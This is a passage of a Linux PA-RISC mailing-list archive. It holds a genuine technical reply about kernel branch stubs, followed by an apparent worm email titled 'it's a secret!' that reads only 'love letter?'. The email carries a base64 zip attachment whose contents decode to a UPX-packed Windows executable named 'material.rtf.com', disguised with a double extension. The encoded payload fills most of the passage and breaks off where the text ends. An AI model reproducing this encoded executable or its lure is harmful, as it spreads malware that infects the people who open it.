Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E06CF4DAE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Apr 2004 17:13:58 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i3MNDv94017628; Thu, 22 Apr 2004 19:13:57 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i3MNDv9d017627;
	Thu, 22 Apr 2004 19:13:57 -0400 (EDT)
In-Reply-To: <1082674474.2860.127.camel@mulgrave> from "James Bottomley" at
	Apr 22, 2004 06:54:34 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 22 Apr 2004 23:14:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21496

> On Thu, 2004-04-22 at 18:50, John David Anglin wrote:
> > If schedule is too far away, the linker will add a long branch stub.
> > This apparently doesn't work in the kernel.  On the otherhand, `b,l'
> > should go about 8 MB without needing a stub.
> 
> Well, but it does ... we have other jumps that seem to be correctly
> stubbed.

Looking at a couple ok 64-bit kernels, I'm surprised that stubs are
needed for "b,l x,%rp".  It suggests that these branches are getting
treated as 17-bit branches instead of 22-bit branches.  Of course,
"b" is limited to 17-bit displacements and it could easily need
a stub.

Which tool chain?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kbrink@whoi.edu
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] it's a secret!
Date: Fri, 23 Apr 2004 09:57:54 +0530
Lines: 471
Approved: news@gmane.org
Message-ID: <20040423042755.85D25482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0005_00001547.00001E5A"
X-Trace: ger.gmane.org 1416623398 8574 80.91.229.3 (22 Nov 2014 02:29:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:58 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: kbrink@whoi.edu  Thu Apr 22 22:28:01 2004
Return-Path: <kbrink@whoi.edu>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [164.100.34.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85D25482A
	for <parisc-linux@parisc-linux.org>;
	Thu, 22 Apr 2004 22:27:55 -0600 (MDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Apr 2004 04:28:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21497

This is a multi-part message in MIME format.

------=_NextPart_000_0005_00001547.00001E5A
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

love letter?

------=_NextPart_000_0005_00001547.00001E5A
Content-Type: application/x-zip-compressed;
	name="material.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="material.zip"

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
